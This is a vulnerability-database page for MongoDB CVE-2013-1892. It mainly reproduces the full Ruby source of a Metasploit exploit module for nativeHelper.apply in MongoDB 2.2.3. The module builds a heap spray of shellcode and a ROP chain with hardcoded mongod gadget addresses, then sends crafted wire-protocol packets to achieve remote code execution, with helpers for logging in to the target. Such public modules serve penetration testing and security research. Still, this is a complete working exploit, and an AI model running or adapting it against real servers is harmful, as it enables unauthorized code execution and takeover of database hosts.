Lucene search
K

MongoDB nativeHelper.apply Remote Code Execution

🗓️ 09 Apr 2013 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 35 Views

MongoDB nativeHelper.apply Remote Code Execution. Exploit module for nativeHelper feature from spiderMonkey in MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze

Related
Code
ReporterTitlePublishedViews
Family
0day.today
MongoDB nativeHelper.apply Remote Code Execution Vulnerability
2 Apr 201300:00
zdt
Circl
CVE-2013-1892
8 Apr 201300:00
circl
Check Point Advisories
MongoDB nativeHelper.apply Remote Code Execution (CVE-2013-1892)
28 May 201300:00
checkpoint_advisories
CVE
CVE-2013-1892
1 Oct 201320:00
cve
Cvelist
CVE-2013-1892
1 Oct 201320:00
cvelist
Debian CVE
CVE-2013-1892
1 Oct 201320:00
debiancve
Exploit DB
MongoDB - nativeHelper.apply Remote Code Execution (Metasploit)
8 Apr 201300:00
exploitdb
Fedora
[SECURITY] Fedora 18 Update: mongodb-2.2.3-4.fc18
7 Apr 201300:32
fedora
Fedora
[SECURITY] Fedora 17 Update: mongodb-2.2.3-4.fc17
7 Apr 201300:43
fedora
Tenable Nessus
Fedora 17 : mongodb-2.2.3-4.fc17 (2013-4531)
8 Apr 201300:00
nessus
Rows per page

                                                ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
 
  include Msf::Exploit::Remote::Tcp
 
  def initialize(info={})
    super(update_info(info,
      'Name'         => 'MongoDB nativeHelper.apply Remote Code Execution',
      'Description'  => %q{
          This module exploit a the nativeHelper feature from spiderMonkey which allows to
        to control execution by calling it wit specially crafted arguments. This module
        has been tested successfully on MongoDB 2.2.3 on Ubuntu 10.04 and Debian Squeeze.
      },
      'Author'         =>
        [
          'agix' # @agixid # Vulnerability discovery and Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-1892' ],
          [ 'OSVDB', '91632' ],
          [ 'BID', '58695' ],
          [ 'URL', 'http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/' ]
        ],
      'Platform'       => 'linux',
      'Targets'        =>
        [
          [ 'Linux - mongod 2.2.3 - 32bits',
            {
              'Arch' => ARCH_X86,
              'mmap' => [
                  0x0816f768,  # mmap64@plt # from mongod
                  0x08666d07, # add esp, 0x14 / pop ebx / pop ebp / ret # from mongod
                  0x31337000,
                  0x00002000,
                  0x00000007,
                  0x00000031,
                  0xffffffff,
                  0x00000000,
                  0x00000000,
                  0x0816e4c8,  # memcpy@plt # from mongod
                  0x31337000,
                  0x31337000,
                  0x0c0b0000,
                  0x00002000
              ],
              'ret'     => 0x08055a70, # ret # from mongod
              'gadget1' => 0x0836e204, # mov eax,DWORD PTR [eax] / call DWORD PTR [eax+0x1c]
              # These gadgets need to be composed with bytes < 0x80
              'gadget2' => 0x08457158, # xchg esp,eax / add esp,0x4 / pop ebx / pop ebp / ret <== this gadget must xchg esp,eax and then increment ESP
              'gadget3' => 0x08351826, # add esp,0x20 / pop esi / pop edi / pop ebp <== this gadget placed before gadget2 increment ESP to escape gadget2
              'gadget4' => 0x08055a6c, # pop eax / ret
              'gadget5' => 0x08457158  # xchg esp,eax
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Mar 24 2013',
      'License'      => MSF_LICENSE
    ))
 
    register_options(
      [
        Opt::RPORT(27017),
        OptString.new('DB', [ true, "Database to use", "admin"]),
        OptString.new('COLLECTION', [ false, "Collection to use (it must to exist). Better to let empty", ""]),
        OptString.new('USERNAME', [ false, "Login to use", ""]),
        OptString.new('PASSWORD', [ false, "Password to use", ""])
      ], self.class)
  end
 
  def exploit
    begin
      connect
      if require_auth?
        print_status("Mongo server #{datastore['RHOST']} use authentication...")
        if !datastore['USERNAME'] || !datastore['PASSWORD']
          disconnect
          fail_with(Exploit::Failure::BadConfig, "USERNAME and PASSWORD must be provided")
        end
        if do_login==0
          disconnect
          fail_with(Exploit::Failure::NoAccess, "Authentication failed")
        end
      else
        print_good("Mongo server #{datastore['RHOST']} doesn't use authentication")
      end
 
      if datastore['COLLECTION'] && datastore['COLLECTION'] != ""
        collection = datastore['COLLECTION']
      else
        collection = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')
        if read_only?(collection)
          disconnect
          fail_with(Exploit::Failure::BadConfig, "#{datastore['USERNAME']} has read only access, please provide an existent collection")
        else
          print_good("New document created in collection #{collection}")
        end
      end
 
      print_status("Let's exploit, heap spray could take some time...")
      my_target = target
      shellcode = Rex::Text.to_unescape(payload.encoded)
      mmap = my_target['mmap'].pack("V*")
      ret = [my_target['ret']].pack("V*")
      gadget1 = "0x#{my_target['gadget1'].to_s(16)}"
      gadget2 = Rex::Text.to_hex([my_target['gadget2']].pack("V"))
      gadget3 = Rex::Text.to_hex([my_target['gadget3']].pack("V"))
      gadget4 = Rex::Text.to_hex([my_target['gadget4']].pack("V"))
      gadget5 = Rex::Text.to_hex([my_target['gadget5']].pack("V"))
 
      shellcode_var="a"+Rex::Text.rand_text_hex(4)
      sizechunk_var="b"+Rex::Text.rand_text_hex(4)
      chunk_var="c"+Rex::Text.rand_text_hex(4)
      i_var="d"+Rex::Text.rand_text_hex(4)
      array_var="e"+Rex::Text.rand_text_hex(4)
 
      ropchain_var="f"+Rex::Text.rand_text_hex(4)
      chunk2_var="g"+Rex::Text.rand_text_hex(4)
      array2_var="h"+Rex::Text.rand_text_hex(4)
 
      # nopsled + shellcode heapspray
      payload_js = shellcode_var+'=unescape("'+shellcode+'");'
      payload_js << sizechunk_var+'=0x1000;'
      payload_js << chunk_var+'="";'
      payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk_var+'+=unescape("%u9090%u9090"); } '
      payload_js << chunk_var+'='+chunk_var+'.substring(0,('+sizechunk_var+'-'+shellcode_var+'.length));'
      payload_js << array_var+'=new Array();'
      payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array_var+'['+i_var+']='+chunk_var+'+'+shellcode_var+'; } '
 
      # retchain + ropchain heapspray
      payload_js << ropchain_var+'=unescape("'+Rex::Text.to_unescape(mmap)+'");'
      payload_js << chunk2_var+'="";'
      payload_js << 'for('+i_var+'=0;'+i_var+'<'+sizechunk_var+';'+i_var+'++){ '+chunk2_var+'+=unescape("'+Rex::Text.to_unescape(ret)+'"); } '
      payload_js << chunk2_var+'='+chunk2_var+'.substring(0,('+sizechunk_var+'-'+ropchain_var+'.length));'
      payload_js << array2_var+'=new Array();'
      payload_js << 'for('+i_var+'=0;'+i_var+'<25000;'+i_var+'++){ '+array2_var+'['+i_var+']='+chunk2_var+'+'+ropchain_var+'; } '
 
      # Trigger and first ropchain
      payload_js << 'nativeHelper.apply({"x" : '+gadget1+'}, '
      payload_js << '["A"+"'+gadget3+'"+"'+Rex::Text.rand_text_hex(12)+'"+"'+gadget2+'"+"'+Rex::Text.rand_text_hex(28)+'"+"'+gadget4+'"+"\\x20\\x20\\x20\\x20"+"'+gadget5+'"]);'
 
      request_id = Rex::Text.rand_text(4)
 
      packet = request_id           #requestID
      packet << "\xff\xff\xff\xff"   #responseTo
      packet << "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
      packet << "\x00\x00\x00\x00"   #flags
      packet << datastore['DB']+"."+collection+"\x00" #fullCollectionName (db.collection)
      packet << "\x00\x00\x00\x00"   #numberToSkip (0)
      packet << "\x01\x00\x00\x00"   #numberToReturn (1)
 
      where = "\x02\x24\x77\x68\x65\x72\x65\x00"
      where << [payload_js.length+4].pack("L")
      where << payload_js+"\x00"
 
      where.insert(0, [where.length + 4].pack("L"))
 
      packet += where
      packet.insert(0, [packet.length + 4].pack("L"))
 
      sock.put(packet)
 
      disconnect
    rescue ::Exception => e
      fail_with(Exploit::Failure::Unreachable, "Unable to connect")
    end
  end
 
  def require_auth?
    request_id = Rex::Text.rand_text(4)
    packet =  "\x3f\x00\x00\x00"   #messageLength (63)
    packet << request_id           #requestID
    packet << "\xff\xff\xff\xff"   #responseTo
    packet << "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
    packet << "\x00\x00\x00\x00"   #flags
    packet << "\x61\x64\x6d\x69\x6e\x2e\x24\x63\x6d\x64\x00" #fullCollectionName (admin.$cmd)
    packet << "\x00\x00\x00\x00"   #numberToSkip (0)
    packet << "\x01\x00\x00\x00"   #numberToReturn (1)
    #query ({"listDatabases"=>1})
    packet << "\x18\x00\x00\x00\x10\x6c\x69\x73\x74\x44\x61\x74\x61\x62\x61\x73\x65\x73\x00\x01\x00\x00\x00\x00"
 
    sock.put(packet)
    response = sock.get_once
 
    have_auth_error?(response)
  end
 
  def read_only?(collection)
    request_id = Rex::Text.rand_text(4)
    _id = "\x07_id\x00"+Rex::Text.rand_text(12)+"\x02"
    key = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
    value = Rex::Text.rand_text(4, nil, 'abcdefghijklmnopqrstuvwxyz')+"\x00"
 
    insert = _id+key+[value.length].pack("L")+value+"\x00"
 
    packet =  [insert.length+24+datastore['DB'].length+6].pack("L")   #messageLength
    packet << request_id           #requestID
    packet << "\xff\xff\xff\xff"   #responseTo
    packet <<  "\xd2\x07\x00\x00"  #opCode (2002 Insert Document)
    packet << "\x00\x00\x00\x00"   #flags
    packet << datastore['DB'] + "." + collection + "\x00" #fullCollectionName (DB.collection)
    packet << [insert.length+4].pack("L")
    packet << insert
 
    sock.put(packet)
 
    request_id = Rex::Text.rand_text(4)
 
    packet =  [datastore['DB'].length + 61].pack("L")   #messageLength (66)
    packet << request_id           #requestID
    packet << "\xff\xff\xff\xff"   #responseTo
    packet <<  "\xd4\x07\x00\x00"  #opCode (2004 Query)
    packet << "\x00\x00\x00\x00"   #flags
    packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
    packet << "\x00\x00\x00\x00"   #numberToSkip (0)
    packet << "\xff\xff\xff\xff"   #numberToReturn (1)
    packet << "\x1b\x00\x00\x00"
    packet << "\x01\x67\x65\x74\x6c\x61\x73\x74\x65\x72\x72\x6f\x72\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
 
    sock.put(packet)
 
    response = sock.get_once
    have_auth_error?(response)
  end
 
  def do_login
    print_status("Trying #{datastore['USERNAME']}/#{datastore['PASSWORD']} on #{datastore['DB']} database")
    nonce = get_nonce
    status = auth(nonce)
    return status
  end
 
  def auth(nonce)
    request_id = Rex::Text.rand_text(4)
    packet =  request_id           #requestID
    packet << "\xff\xff\xff\xff"   #responseTo
    packet <<  "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
    packet << "\x00\x00\x00\x00"   #flags
    packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
    packet << "\x00\x00\x00\x00"   #numberToSkip (0)
    packet << "\xff\xff\xff\xff"   #numberToReturn (1)
 
    #{"authenticate"=>1.0, "user"=>"root", "nonce"=>"94e963f5b7c35146", "key"=>"61829b88ee2f8b95ce789214d1d4f175"}
    document =  "\x01\x61\x75\x74\x68\x65\x6e\x74\x69\x63\x61\x74\x65"
    document << "\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x02\x75\x73\x65\x72\x00"
    document << [datastore['USERNAME'].length + 1].pack("L") # +1 due null byte termination
    document << datastore['USERNAME'] + "\x00"
    document << "\x02\x6e\x6f\x6e\x63\x65\x00\x11\x00\x00\x00"
    document << nonce + "\x00"
    document << "\x02\x6b\x65\x79\x00\x21\x00\x00\x00"
    document << Rex::Text.md5(nonce + datastore['USERNAME'] + Rex::Text.md5(datastore['USERNAME'] + ":mongo:" + datastore['PASSWORD'])) + "\x00"
    document << "\x00"
    #Calculate document length
    document.insert(0, [document.length + 4].pack("L"))
 
    packet += document
 
    #Calculate messageLength
    packet.insert(0, [(packet.length + 4)].pack("L"))  #messageLength
    sock.put(packet)
    response = sock.get_once
    if have_auth_error?(response)
      print_error("Bad login or DB")
      return 0
    else
      print_good("Successful login on DB #{datastore['db']}")
      return 1
    end
 
 
  end
 
  def get_nonce
    request_id = Rex::Text.rand_text(4)
    packet =  [datastore['DB'].length + 57].pack("L")   #messageLength (57+DB.length)
    packet << request_id           #requestID
    packet << "\xff\xff\xff\xff"   #responseTo
    packet <<  "\xd4\x07\x00\x00"  #opCode (2004 OP_QUERY)
    packet << "\x00\x00\x00\x00"   #flags
    packet << datastore['DB'] + ".$cmd" + "\x00" #fullCollectionName (DB.$cmd)
    packet << "\x00\x00\x00\x00"   #numberToSkip (0)
    packet << "\x01\x00\x00\x00"   #numberToReturn (1)
    #query {"getnonce"=>1.0}
    packet << "\x17\x00\x00\x00\x01\x67\x65\x74\x6e\x6f\x6e\x63\x65\x00\x00\x00\x00\x00\x00\x00\xf0\x3f\x00"
 
    sock.put(packet)
    response = sock.get_once
    documents = response[36..1024]
    #{"nonce"=>"f785bb0ea5edb3ff", "ok"=>1.0}
    nonce = documents[15..30]
  end
 
  def have_auth_error?(response)
    #Response header 36 bytes long
    documents = response[36..1024]
    #{"errmsg"=>"auth fails", "ok"=>0.0}
    #{"errmsg"=>"need to login", "ok"=>0.0}
    if documents.include?('errmsg') || documents.include?('unauthorized')
      return true
    else
      return false
    end
  end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation